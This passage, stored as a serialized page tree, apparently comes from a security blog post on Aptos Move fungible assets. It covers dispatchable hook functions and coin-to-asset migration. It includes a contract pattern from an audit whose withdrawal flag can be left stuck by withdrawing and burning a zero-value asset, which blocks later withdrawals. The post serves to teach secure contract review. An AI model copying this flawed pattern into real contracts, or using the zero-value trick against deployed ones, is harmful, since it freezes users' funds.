assets",{"type":20,"tag":29,"props":64021,"children":64022},{},[64023],{"type":26,"value":64024},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":20,"tag":29,"props":64026,"children":64027},{},[64028],{"type":26,"value":64029},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":20,"tag":64031,"props":64032,"children":64033},"warning",{},[64034],{"type":20,"tag":29,"props":64035,"children":64036},{},[64037,64039,64045],{"type":26,"value":64038},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":20,"tag":119,"props":64040,"children":64042},{"className":64041},[],[64043],{"type":26,"value":64044},"transfer_assert_minimum_deposit",{"type":26,"value":64046}," that can help mitigate such risks.",{"type":20,"tag":29,"props":64048,"children":64049},{},[64050,64052,64057,64059,64066],{"type":26,"value":64051},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":20,"tag":119,"props":64053,"children":64055},{"className":64054},[],[64056],{"type":26,"value":59929},{"type":26,"value":64058}," to ensure ",{"type":20,"tag":35,"props":64060,"children":64063},{"href":64061,"rel":64062},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[39],[64064],{"type":26,"value":64065},"their signature remains immutable",{"type":26,"value":64067},". An example implementation might look like this:",{"type":20,"tag":305,"props":64069,"children":64071},{"className":1360,"code":64070,"language":1359,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n store: Object\u003CT>,\n amount: u64,\n transfer_ref: &TransferRef,\n): FungibleAsset {\n //check paused, gather fees etc.\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n store: Object\u003CT>,\n fa: FungibleAsset,\n transfer_ref: &TransferRef,\n) {\n //check paused, gather fees etc.\n fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[64072],{"type":20,"tag":119,"props":64073,"children":64074},{"__ignoreMap":7},[64075,64111,64138,64157,64181,64200,64208,64254,64261,64268,64304,64331,64351,64374,64381,64388,64432],{"type":20,"tag":315,"props":64076,"children":64077},{"class":317,"line":318},[64078,64082,64086,64091,64095,64099,64103,64107],{"type":20,"tag":315,"props":64079,"children":64080},{"style":635},[64081],{"type":26,"value":59929},{"type":20,"tag":315,"props":64083,"children":64084},{"style":635},[64085],{"type":26,"value":4601},{"type":20,"tag":315,"props":64087,"children":64088},{"style":635},[64089],{"type":26,"value":64090}," withdraw_hook",{"type":20,"tag":315,"props":64092,"children":64093},{"style":328},[64094],{"type":26,"value":4199},{"type":20,"tag":315,"props":64096,"children":64097},{"style":322},[64098],{"type":26,"value":4381},{"type":20,"tag":315,"props":64100,"children":64101},{"style":334},[64102],{"type":26,"value":2884},{"type":20,"tag":315,"props":64104,"children":64105},{"style":635},[64106],{"type":26,"value":4325},{"type":20,"tag":315,"props":64108,"children":64109},{"style":328},[64110],{"type":26,"value":4983},{"type":20,"tag":315,"props":64112,"children":64113},{"class":317,"line":356},[64114,64118,64122,64126,64130,64134],{"type":20,"tag":315,"props":64115,"children":64116},{"style":635},[64117],{"type":26,"value":27829},{"type":20,"tag":315,"props":64119,"children":64120},{"style":334},[64121],{"type":26,"value":2884},{"type":20,"tag":315,"props":64123,"children":64124},{"style":322},[64125],{"type":26,"value":59815},{"type":20,"tag":315,"props":64127,"children":64128},{"style":328},[64129],{"type":26,"value":4199},{"type":20,"tag":315,"props":64131,"children":64132},{"style":322},[64133],{"type":26,"value":4381},{"type":20,"tag":315,"props":64135,"children":64136},{"style":328},[64137],{"type":26,"value":4532},{"type":20,"tag":315,"props":64139,"children":64140},{"class":317,"line":365},[64141,64145,64149,64153],{"type":20,"tag":315,"props":64142,"children":64143},{"style":635},[64144],{"type":26,"value":59836},{"type":20,"tag":315,"props":64146,"children":64147},{"style":334},[64148],{"type":26,"value":2884},{"type":20,"tag":315,"props":64150,"children":64151},{"style":322},[64152],{"type":26,"value":4253},{"type":20,"tag":315,"props":64154,"children":64155},{"style":328},[64156],{"type":26,"value":643},{"type":20,"tag":315,"props":64158,"children":64159},{"class":317,"line":374},[64160,64165,64169,64173,64177],{"type":20,"tag":315,"props":64161,"children":64162},{"style":635},[64163],{"type":26,"value":64164}," transfer_ref",{"type":20,"tag":315,"props":64166,"children":64167},{"style":334},[64168],{"type":26,"value":2884},{"type":20,"tag":315,"props":64170,"children":64171},{"style":334},[64172],{"type":26,"value":5536},{"type":20,"tag":315,"props":64174,"children":64175},{"style":322},[64176],{"type":26,"value":63679},{"type":20,"tag":315,"props":64178,"children":64179},{"style":328},[64180],{"type":26,"value":643},{"type":20,"tag":315,"props":64182,"children":64183},{"class":317,"line":383},[64184,64188,64192,64196],{"type":20,"tag":315,"props":64185,"children":64186},{"style":328},[64187],{"type":26,"value":1509},{"type":20,"tag":315,"props":64189,"children":64190},{"style":334},[64191],{"type":26,"value":2884},{"type":20,"tag":315,"props":64193,"children":64194},{"style":322},[64195],{"type":26,"value":59794},{"type":20,"tag":315,"props":64197,"children":64198},{"style":328},[64199],{"type":26,"value":1092},{"type":20,"tag":315,"props":64201,"children":64202},{"class":317,"line":407},[64203],{"type":20,"tag":315,"props":64204,"children":64205},{"style":1071},[64206],{"type":26,"value":64207}," //check paused, gather fees etc.\n",{"type":20,"tag":315,"props":64209,"children":64210},{"class":317,"line":421},[64211,64216,64220,64225,64229,64234,64238,64242,64246,64250],{"type":20,"tag":315,"props":64212,"children":64213},{"style":328},[64214],{"type":26,"value":64215}," fungible_asset",{"type":20,"tag":315,"props":64217,"children":64218},{"style":334},[64219],{"type":26,"value":1861},{"type":20,"tag":315,"props":64221,"children":64222},{"style":345},[64223],{"type":26,"value":64224},"withdraw_with_ref",{"type":20,"tag":315,"props":64226,"children":64227},{"style":328},[64228],{"type":26,"value":1049},{"type":20,"tag":315,"props":64230,"children":64231},{"style":635},[64232],{"type":26,"value":64233},"transfer_ref",{"type":20,"tag":315,"props":64235,"children":64236},{"style":328},[64237],{"type":26,"value":44},{"type":20,"tag":315,"props":64239,"children":64240},{"style":635},[64241],{"type":26,"value":4334},{"type":20,"tag":315,"props":64243,"children":64244},{"style":328},[64245],{"type":26,"value":44},{"type":20,"tag":315,"props":64247,"children":64248},{"style":635},[64249],{"type":26,"value":18710},{"type":20,"tag":315,"props":64251,"children":64252},{"style":328},[64253],{"type":26,"value":380},{"type":20,"tag":315,"props":64255,"children":64256},{"class":317,"line":430},[64257],{"type":20,"tag":315,"props":64258,"children":64259},{"style":328},[64260],{"type":26,"value":577},{"type":20,"tag":315,"props":64262,"children":64263},{"class":317,"line":453},[64264],{"type":20,"tag":315,"props":64265,"children":64266},{"emptyLinePlaceholder":15},[64267],{"type":26,"value":427},{"type":20,"tag":315,"props":64269,"children":64270},{"class":317,"line":486},[64271,64275,64279,64284,64288,64292,64296,64300],{"type":20,"tag":315,"props":64272,"children":64273},{"style":635},[64274],{"type":26,"value":59929},{"type":20,"tag":315,"props":64276,"children":64277},{"style":635},[64278],{"type":26,"value":4601},{"type":20,"tag":315,"props":64280,"children":64281},{"style":635},[64282],{"type":26,"value":64283}," deposit_hook",{"type":20,"tag":315,"props":64285,"children":64286},{"style":328},[64287],{"type":26,"value":4199},{"type":20,"tag":315,"props":64289,"children":64290},{"style":322},[64291],{"type":26,"value":4381},{"type":20,"tag":315,"props":64293,"children":64294},{"style":334},[64295],{"type":26,"value":2884},{"type":20,"tag":315,"props":64297,"children":64298},{"style":635},[64299],{"type":26,"value":4325},{"type":20,"tag":315,"props":64301,"children":64302},{"style":328},[64303],{"type":26,"value":4983},{"type":20,"tag":315,"props":64305,"children":64306},{"class":317,"line":499},[64307,64311,64315,64319,64323,64327],{"type":20,"tag":315,"props":64308,"children":64309},{"style":635},[64310],{"type":26,"value":27829},{"type":20,"tag":315,"props":64312,"children":64313},{"style":334},[64314],{"type":26,"value":2884},{"type":20,"tag":315,"props":64316,"children":64317},{"style":322},[64318],{"type":26,"value":59815},{"type":20,"tag":315,"props":64320,"children":64321},{"style":328},[64322],{"type":26,"value":4199},{"type":20,"tag":315,"props":64324,"children":64325},{"style":322},[64326],{"type":26,"value":4381},{"type":20,"tag":315,"props":64328,"children":64329},{"style":328},[64330],{"type":26,"value":4532},{"type":20,"tag":315,"props":64332,"children":64333},{"class":317,"line":513},[64334,64339,64343,64347],{"type":20,"tag":315,"props":64335,"children":64336},{"style":635},[64337],{"type":26,"value":64338}," fa",{"type":20,"tag":315,"props":64340,"children":64341},{"style":334},[64342],{"type":26,"value":2884},{"type":20,"tag":315,"props":64344,"children":64345},{"style":322},[64346],{"type":26,"value":59794},{"type":20,"tag":315,"props":64348,"children":64349},{"style":328},[64350],{"type":26,"value":643},{"type":20,"tag":315,"props":64352,"children":64353},{"class":317,"line":521},[64354,64358,64362,64366,64370],{"type":20,"tag":315,"props":64355,"children":64356},{"style":635},[64357],{"type":26,"value":64164},{"type":20,"tag":315,"props":64359,"children":64360},{"style":334},[64361],{"type":26,"value":2884},{"type":20,"tag":315,"props":64363,"children":64364},{"style":334},[64365],{"type":26,"value":5536},{"type":20,"tag":315,"props":64367,"children":64368},{"style":322},[64369],{"type":26,"value":63679},{"type":20,"tag":315,"props":64371,"children":64372},{"style":328},[64373],{"type":26,"value":643},{"type":20,"tag":315,"props":64375,"children":64376},{"class":317,"line":552},[64377],{"type":20,"tag":315,"props":64378,"children":64379},{"style":328},[64380],{"type":26,"value":549},{"type":20,"tag":315,"props":64382,"children":64383},{"class":317,"line":571},[64384],{"type":20,"tag":315,"props":64385,"children":64386},{"style":1071},[64387],{"type":26,"value":64207},{"type":20,"tag":315,"props":64389,"children":64390},{"class":317,"line":2031},[64391,64395,64399,64404,64408,64412,64416,64420,64424,64428],{"type":20,"tag":315,"props":64392,"children":64393},{"style":328},[64394],{"type":26,"value":64215},{"type":20,"tag":315,"props":64396,"children":64397},{"style":334},[64398],{"type":26,"value":1861},{"type":20,"tag":315,"props":64400,"children":64401},{"style":345},[64402],{"type":26,"value":64403},"deposit_with_ref",{"type":20,"tag":315,"props":64405,"children":64406},{"style":328},[64407],{"type":26,"value":1049},{"type":20,"tag":315,"props":64409,"children":64410},{"style":635},[64411],{"type":26,"value":64233},{"type":20,"tag":315,"props":64413,"children":64414},{"style":328},[64415],{"type":26,"value":44},{"type":20,"tag":315,"props":64417,"children":64418},{"style":635},[64419],{"type":26,"value":4334},{"type":20,"tag":315,"props":64421,"children":64422},{"style":328},[64423],{"type":26,"value":44},{"type":20,"tag":315,"props":64425,"children":64426},{"style":635},[64427],{"type":26,"value":59987},{"type":20,"tag":315,"props":64429,"children":64430},{"style":328},[64431],{"type":26,"value":2214},{"type":20,"tag":315,"props":64433,"children":64434},{"class":317,"line":2053},[64435],{"type":20,"tag":315,"props":64436,"children":64437},{"style":328},[64438],{"type":26,"value":577},{"type":20,"tag":64440,"props":64441,"children":64442},"question",{},[64443,64470],{"type":20,"tag":29,"props":64444,"children":64445},{},[64446,64448,64454,64456,64462,64463,64469],{"type":26,"value":64447},"Why hook functions rely on ",{"type":20,"tag":119,"props":64449,"children":64451},{"className":64450},[],[64452],{"type":26,"value":64453},"*_with_ref",{"type":26,"value":64455}," calls? What would happen if the hook function called ",{"type":20,"tag":119,"props":64457,"children":64459},{"className":64458},[],[64460],{"type":26,"value":64461},"dispatchable_fungible_asset::withdraw",{"type":26,"value":15196},{"type":20,"tag":119,"props":64464,"children":64466},{"className":64465},[],[64467],{"type":26,"value":64468},"fungible_asset::withdraw_with_ref",{"type":26,"value":1537},{"type":20,"tag":64471,"props":64472,"children":64473},"template",{"v-slot:answer-0":7},[64474,64486],{"type":20,"tag":29,"props":64475,"children":64476},{},[64477,64479,64484],{"type":26,"value":64478},"A1: Hook functions rely on ",{"type":20,"tag":119,"props":64480,"children":64482},{"className":64481},[],[64483],{"type":26,"value":64453},{"type":26,"value":64485}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":20,"tag":29,"props":64487,"children":64488},{},[64489,64491,64496],{"type":26,"value":64490},"A2: A ",{"type":20,"tag":119,"props":64492,"children":64494},{"className":64493},[],[64495],{"type":26,"value":64461},{"type":26,"value":64497}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":20,"tag":29,"props":64499,"children":64500},{},[64501],{"type":26,"value":64502},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":20,"tag":305,"props":64504,"children":64506},{"className":1360,"code":64505,"language":1359,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n assert_withdraw_flag(true);\n [...]\n set_withdraw_flag(false);\n fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n [...]\n }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n assert_withdraw_flag(false);\n [...]\n set_withdraw_flag(true);\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[64507],{"type":20,"tag":119,"props":64508,"children":64509},{"__ignoreMap":7},[64510,64605,64625,64640,64660,64703,64718,64725,64732,64851,64870,64885,64904,64947],{"type":20,"tag":315,"props":64511,"children":64512},{"class":317,"line":318},[64513,64517,64521,64525,64529,64533,64537,64541,64545,64549,64553,64557,64561,64565,64569,64573,64577,64581,64585,64589,64593,64597,64601],{"type":20,"tag":315,"props":64514,"children":64515},{"style":635},[64516],{"type":26,"value":59929},{"type":20,"tag":315,"props":64518,"children":64519},{"style":635},[64520],{"type":26,"value":4601},{"type":20,"tag":315,"props":64522,"children":64523},{"style":635},[64524],{"type":26,"value":59938},{"type":20,"tag":315,"props":64526,"children":64527},{"style":328},[64528],{"type":26,"value":4199},{"type":20,"tag":315,"props":64530,"children":64531},{"style":322},[64532],{"type":26,"value":4381},{"type":20,"tag":315,"props":64534,"children":64535},{"style":334},[64536],{"type":26,"value":2884},{"type":20,"tag":315,"props":64538,"children":64539},{"style":635},[64540],{"type":26,"value":4325},{"type":20,"tag":315,"props":64542,"children":64543},{"style":328},[64544],{"type":26,"value":6006},{"type":20,"tag":315,"props":64546,"children":64547},{"style":635},[64548],{"type":26,"value":4334},{"type":20,"tag":315,"props":64550,"children":64551},{"style":334},[64552],{"type":26,"value":2884},{"type":20,"tag":315,"props":64554,"children":64555},{"style":322},[64556],{"type":26,"value":59815},{"type":20,"tag":315,"props":64558,"children":64559},{"style":328},[64560],{"type":26,"value":4199},{"type":20,"tag":315,"props":64562,"children":64563},{"style":322},[64564],{"type":26,"value":4381},{"type":20,"tag":315,"props":64566,"children":64567},{"style":328},[64568],{"type":26,"value":5025},{"type":20,"tag":315,"props":64570,"children":64571},{"style":635},[64572],{"type":26,"value":59987},{"type":20,"tag":315,"props":64574,"children":64575},{"style":334},[64576],{"type":26,"value":2884},{"type":20,"tag":315,"props":64578,"children":64579},{"style":322},[64580],{"type":26,"value":59794},{"type":20,"tag":315,"props":64582,"children":64583},{"style":328},[64584],{"type":26,"value":44},{"type":20,"tag":315,"props":64586,"children":64587},{"style":635},[64588],{"type":26,"value":64233},{"type":20,"tag":315,"props":64590,"children":64591},{"style":334},[64592],{"type":26,"value":2884},{"type":20,"tag":315,"props":64594,"children":64595},{"style":334},[64596],{"type":26,"value":5536},{"type":20,"tag":315,"props":64598,"children":64599},{"style":322},[64600],{"type":26,"value":63679},{"type":20,"tag":315,"props":64602,"children":64603},{"style":328},[64604],{"type":26,"value":549},{"type":20,"tag":315,"props":64606,"children":64607},{"class":317,"line":356},[64608,64613,64617,64621],{"type":20,"tag":315,"props":64609,"children":64610},{"style":345},[64611],{"type":26,"value":64612}," assert_withdraw_flag",{"type":20,"tag":315,"props":64614,"children":64615},{"style":328},[64616],{"type":26,"value":1049},{"type":20,"tag":315,"props":64618,"children":64619},{"style":541},[64620],{"type":26,"value":2387},{"type":20,"tag":315,"props":64622,"children":64623},{"style":328},[64624],{"type":26,"value":2214},{"type":20,"tag":315,"props":64626,"children":64627},{"class":317,"line":365},[64628,64632,64636],{"type":20,"tag":315,"props":64629,"children":64630},{"style":328},[64631],{"type":26,"value":60972},{"type":20,"tag":315,"props":64633,"children":64634},{"style":334},[64635],{"type":26,"value":7990},{"type":20,"tag":315,"props":64637,"children":64638},{"style":328},[64639],{"type":26,"value":10173},{"type":20,"tag":315,"props":64641,"children":64642},{"class":317,"line":374},[64643,64648,64652,64656],{"type":20,"tag":315,"props":64644,"children":64645},{"style":345},[64646],{"type":26,"value":64647}," set_withdraw_flag",{"type":20,"tag":315,"props":64649,"children":64650},{"style":328},[64651],{"type":26,"value":1049},{"type":20,"tag":315,"props":64653,"children":64654},{"style":541},[64655],{"type":26,"value":6571},{"type":20,"tag":315,"props":64657,"children":64658},{"style":328},[64659],{"type":26,"value":2214},{"type":20,"tag":315,"props":64661,"children":64662},{"class":317,"line":383},[64663,64667,64671,64675,64679,64683,64687,64691,64695,64699],{"type":20,"tag":315,"props":64664,"children":64665},{"style":328},[64666],{"type":26,"value":64215},{"type":20,"tag":315,"props":64668,"children":64669},{"style":334},[64670],{"type":26,"value":1861},{"type":20,"tag":315,"props":64672,"children":64673},{"style":345},[64674],{"type":26,"value":64403},{"type":20,"tag":315,"props":64676,"children":64677},{"style":328},[64678],{"type":26,"value":1049},{"type":20,"tag":315,"props":64680,"children":64681},{"style":635},[64682],{"type":26,"value":64233},{"type":20,"tag":315,"props":64684,"children":64685},{"style":328},[64686],{"type":26,"value":44},{"type":20,"tag":315,"props":64688,"children":64689},{"style":635},[64690],{"type":26,"value":4334},{"type":20,"tag":315,"props":64692,"children":64693},{"style":328},[64694],{"type":26,"value":44},{"type":20,"tag":315,"props":64696,"children":64697},{"style":635},[64698],{"type":26,"value":18710},{"type":20,"tag":315,"props":64700,"children":64701},{"style":328},[64702],{"type":26,"value":2214},{"type":20,"tag":315,"props":64704,"children":64705},{"class":317,"line":407},[64706,64710,64714],{"type":20,"tag":315,"props":64707,"children":64708},{"style":328},[64709],{"type":26,"value":60972},{"type":20,"tag":315,"props":64711,"children":64712},{"style":334},[64713],{"type":26,"value":7990},{"type":20,"tag":315,"props":64715,"children":64716},{"style":328},[64717],{"type":26,"value":10173},{"type":20,"tag":315,"props":64719,"children":64720},{"class":317,"line":421},[64721],{"type":20,"tag":315,"props":64722,"children":64723},{"style":328},[64724],{"type":26,"value":1736},{"type":20,"tag":315,"props":64726,"children":64727},{"class":317,"line":430},[64728],{"type":20,"tag":315,"props":64729,"children":64730},{"emptyLinePlaceholder":15},[64731],{"type":26,"value":427},{"type":20,"tag":315,"props":64733,"children":64734},{"class":317,"line":453},[64735,64739,64743,64747,64751,64755,64759,64763,64767,64771,64775,64779,64783,64787,64791,64795,64799,64803,64807,64811,64815,64819,64823,64827,64831,64835,64839,64843,64847],{"type":20,"tag":315,"props":64736,"children":64737},{"style":635},[64738],{"type":26,"value":59929},{"type":20,"tag":315,"props":64740,"children":64741},{"style":635},[64742],{"type":26,"value":4601},{"type":20,"tag":315,"props":64744,"children":64745},{"style":635},[64746],{"type":26,"value":18675},{"type":20,"tag":315,"props":64748,"children":64749},{"style":328},[64750],{"type":26,"value":4199},{"type":20,"tag":315,"props":64752,"children":64753},{"style":322},[64754],{"type":26,"value":4381},{"type":20,"tag":315,"props":64756,"children":64757},{"style":334},[64758],{"type":26,"value":2884},{"type":20,"tag":315,"props":64760,"children":64761},{"style":635},[64762],{"type":26,"value":4325},{"type":20,"tag":315,"props":64764,"children":64765},{"style":328},[64766],{"type":26,"value":6006},{"type":20,"tag":315,"props":64768,"children":64769},{"style":635},[64770],{"type":26,"value":4334},{"type":20,"tag":315,"props":64772,"children":64773},{"style":334},[64774],{"type":26,"value":2884},{"type":20,"tag":315,"props":64776,"children":64777},{"style":322},[64778],{"type":26,"value":59815},{"type":20,"tag":315,"props":64780,"children":64781},{"style":328},[64782],{"type":26,"value":4199},{"type":20,"tag":315,"props":64784,"children":64785},{"style":322},[64786],{"type":26,"value":4381},{"type":20,"tag":315,"props":64788,"children":64789},{"style":328},[64790],{"type":26,"value":5025},{"type":20,"tag":315,"props":64792,"children":64793},{"style":635},[64794],{"type":26,"value":18710},{"type":20,"tag":315,"props":64796,"children":64797},{"style":334},[64798],{"type":26,"value":2884},{"type":20,"tag":315,"props":64800,"children":64801},{"style":322},[64802],{"type":26,"value":4253},{"type":20,"tag":315,"props":64804,"children":64805},{"style":328},[64806],{"type":26,"value":44},{"type":20,"tag":315,"props":64808,"children":64809},{"style":635},[64810],{"type":26,"value":64233},{"type":20,"tag":315,"props":64812,"children":64813},{"style":334},[64814],{"type":26,"value":2884},{"type":20,"tag":315,"props":64816,"children":64817},{"style":334},[64818],{"type":26,"value":5536},{"type":20,"tag":315,"props":64820,"children":64821},{"style":322},[64822],{"type":26,"value":63679},{"type":20,"tag":315,"props":64824,"children":64825},{"style":328},[64826],{"type":26,"value":1509},{"type":20,"tag":315,"props":64828,"children":64829},{"style":334},[64830],{"type":26,"value":2884},{"type":20,"tag":315,"props":64832,"children":64833},{"style":322},[64834],{"type":26,"value":59794},{"type":20,"tag":315,"props":64836,"children":64837},{"style":635},[64838],{"type":26,"value":5962},{"type":20,"tag":315,"props":64840,"children":64841},{"style":328},[64842],{"type":26,"value":21437},{"type":20,"tag":315,"props":64844,"children":64845},{"style":334},[64846],{"type":26,"value":7990},{"type":20,"tag":315,"props":64848,"children":64849},{"style":328},[64850],{"type":26,"value":60020},{"type":20,"tag":315,"props":64852,"children":64853},{"class":317,"line":486},[64854,64858,64862,64866],{"type":20,"tag":315,"props":64855,"children":64856},{"style":345},[64857],{"type":26,"value":64612},{"type":20,"tag":315,"props":64859,"children":64860},{"style":328},[64861],{"type":26,"value":1049},{"type":20,"tag":315,"props":64863,"children":64864},{"style":541},[64865],{"type":26,"value":6571},{"type":20,"tag":315,"props":64867,"children":64868},{"style":328},[64869],{"type":26,"value":2214},{"type":20,"tag":315,"props":64871,"children":64872},{"class":317,"line":499},[64873,64877,64881],{"type":20,"tag":315,"props":64874,"children":64875},{"style":328},[64876],{"type":26,"value":60972},{"type":20,"tag":315,"props":64878,"children":64879},{"style":334},[64880],{"type":26,"value":7990},{"type":20,"tag":315,"props":64882,"children":64883},{"style":328},[64884],{"type":26,"value":10173},{"type":20,"tag":315,"props":64886,"children":64887},{"class":317,"line":513},[64888,64892,64896,64900],{"type":20,"tag":315,"props":64889,"children":64890},{"style":345},[64891],{"type":26,"value":64647},{"type":20,"tag":315,"props":64893,"children":64894},{"style":328},[64895],{"type":26,"value":1049},{"type":20,"tag":315,"props":64897,"children":64898},{"style":541},[64899],{"type":26,"value":2387},{"type":20,"tag":315,"props":64901,"children":64902},{"style":328},[64903],{"type":26,"value":2214},{"type":20,"tag":315,"props":64905,"children":64906},{"class":317,"line":521},[64907,64911,64915,64919,64923,64927,64931,64935,64939,64943],{"type":20,"tag":315,"props":64908,"children":64909},{"style":328},[64910],{"type":26,"value":64215},{"type":20,"tag":315,"props":64912,"children":64913},{"style":334},[64914],{"type":26,"value":1861},{"type":20,"tag":315,"props":64916,"children":64917},{"style":345},[64918],{"type":26,"value":64224},{"type":20,"tag":315,"props":64920,"children":64921},{"style":328},[64922],{"type":26,"value":1049},{"type":20,"tag":315,"props":64924,"children":64925},{"style":635},[64926],{"type":26,"value":64233},{"type":20,"tag":315,"props":64928,"children":64929},{"style":328},[64930],{"type":26,"value":44},{"type":20,"tag":315,"props":64932,"children":64933},{"style":635},[64934],{"type":26,"value":4334},{"type":20,"tag":315,"props":64936,"children":64937},{"style":328},[64938],{"type":26,"value":44},{"type":20,"tag":315,"props":64940,"children":64941},{"style":635},[64942],{"type":26,"value":18710},{"type":20,"tag":315,"props":64944,"children":64945},{"style":328},[64946],{"type":26,"value":380},{"type":20,"tag":315,"props":64948,"children":64949},{"class":317,"line":552},[64950],{"type":20,"tag":315,"props":64951,"children":64952},{"style":328},[64953],{"type":26,"value":577},{"type":20,"tag":29,"props":64955,"children":64956},{},[64957],{"type":26,"value":64958},"At first glance, this code appears valid, but not to an astute reader.",{"type":20,"tag":64440,"props":64960,"children":64961},{},[64962,64967],{"type":20,"tag":29,"props":64963,"children":64964},{},[64965],{"type":26,"value":64966},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":20,"tag":64471,"props":64968,"children":64969},{"v-slot:answer-0":7},[64970,64990],{"type":20,"tag":29,"props":64971,"children":64972},{},[64973,64975,64980,64982,64988],{"type":26,"value":64974},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":20,"tag":119,"props":64976,"children":64978},{"className":64977},[],[64979],{"type":26,"value":59765},{"type":26,"value":64981}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":20,"tag":119,"props":64983,"children":64985},{"className":64984},[],[64986],{"type":26,"value":64987},"fungible_asset::destroy_zero",{"type":26,"value":64989},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":20,"tag":29,"props":64991,"children":64992},{},[64993],{"type":26,"value":64994},"It's important to understand all the features in the standard.",{"type":20,"tag":21,"props":64996,"children":64998},{"id":64997},"migrating-from-coins-to-fungible-assets",[64999],{"type":26,"value":65000},"Migrating from coins to fungible assets",{"type":20,"tag":29,"props":65002,"children":65003},{},[65004,65006,65011],{"type":26,"value":65005},"If a fungible asset is considered an upgrade to ",{"type":20,"tag":119,"props":65007,"children":65009},{"className":65008},[],[65010],{"type":26,"value":59220},{"type":26,"value":65012},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":20,"tag":65014,"props":65015,"children":65016},"note",{},[65017],{"type":20,"tag":29,"props":65018,"children":65019},{},[65020,65022,65027,65029,65034],{"type":26,"value":65021},"While the ",{"type":20,"tag":119,"props":65023,"children":65025},{"className":65024},[],[65026],{"type":26,"value":59220},{"type":26,"value":65028}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":20,"tag":119,"props":65030,"children":65032},{"className":65031},[],[65033],{"type":26,"value":59220},{"type":26,"value":61},{"type":20,"tag":29,"props":65036,"children":65037},{},[65038,65039,65045,65047,65052,65054,65059],{"type":26,"value":15015},{"type":20,"tag":119,"props":65040,"children":65042},{"className":65041},[],[65043],{"type":26,"value":65044},"coin_to_fungible_asset",{"type":26,"value":65046}," converting function automatically generates a corresponding fungible asset for a ",{"type":20,"tag":119,"props":65048,"children":65050},{"className":65049},[],[65051],{"type":26,"value":59220},{"type":26,"value":65053}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":20,"tag":119,"props":65055,"children":65057},{"className":65056},[],[65058],{"type":26,"value":59220},{"type":26,"value":65060}," is not allowed.",{"type":20,"tag":305,"props":65062,"children":65064},{"className":1360,"code":65063,"language":1359,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n let metadata = ensure_paired_metadata\u003CCoinType>();\n let amount = burn_internal(coin);\n fungible_asset::mint_internal(metadata, amount)\n}\n",[65065],{"type":20,"tag":119,"props":65066,"children":65067},{"__ignoreMap":7},[65068,65096,65123,65159,65192,65225,65261],{"type":20,"tag":315,"props":65069,"children":65070},{"class":317,"line":318},[65071,65075,65079,65084,65088,65092],{"type":20,"tag":315,"props":65072,"children":65073},{"style":635},[65074],{"type":26,"value":59929},{"type":20,"tag":315,"props":65076,"children":65077},{"style":635},[65078],{"type":26,"value":4601},{"type":20,"tag":315,"props":65080,"children":65081},{"style":635},[65082],{"type":26,"value":65083}," coin_to_fungible_asset",{"type":20,"tag":315,"props":65085,"children":65086},{"style":328},[65087],{"type":26,"value":4199},{"type":20,"tag":315,"props":65089,"children":65090},{"style":322},[65091],{"type":26,"value":4978},{"type":20,"tag":315,"props":65093,"children":65094},{"style":328},[65095],{"type":26,"value":4983},{"type":20,"tag":315,"props":65097,"children":65098},{"class":317,"line":356},[65099,65103,65107,65111,65115,65119],{"type":20,"tag":315,"props":65100,"children":65101},{"style":635},[65102],{"type":26,"value":59439},{"type":20,"tag":315,"props":65104,"children":65105},{"style":334},[65106],{"type":26,"value":2884},{"type":20,"tag":315,"props":65108,"children":65109},{"style":322},[65110],{"type":26,"value":4194},{"type":20,"tag":315,"props":65112,"children":65113},{"style":328},[65114],{"type":26,"value":4199},{"type":20,"tag":315,"props":65116,"children":65117},{"style":322},[65118],{"type":26,"value":4978},{"type":20,"tag":315,"props":65120,"children":65121},{"style":328},[65122],{"type":26,"value":4386},{"type":20,"tag":315,"props":65124,"children":65125},{"class":317,"line":365},[65126,65130,65134,65138,65142,65147,65151,65155],{"type":20,"tag":315,"props":65127,"children":65128},{"style":328},[65129],{"type":26,"value":1509},{"type":20,"tag":315,"props":65131,"children":65132},{"style":334},[65133],{"type":26,"value":2884},{"type":20,"tag":315,"props":65135,"children":65136},{"style":322},[65137],{"type":26,"value":59794},{"type":20,"tag":315,"props":65139,"children":65140},{"style":635},[65141],{"type":26,"value":5962},{"type":20,"tag":315,"props":65143,"children":65144},{"style":322},[65145],{"type":26,"value":65146}," 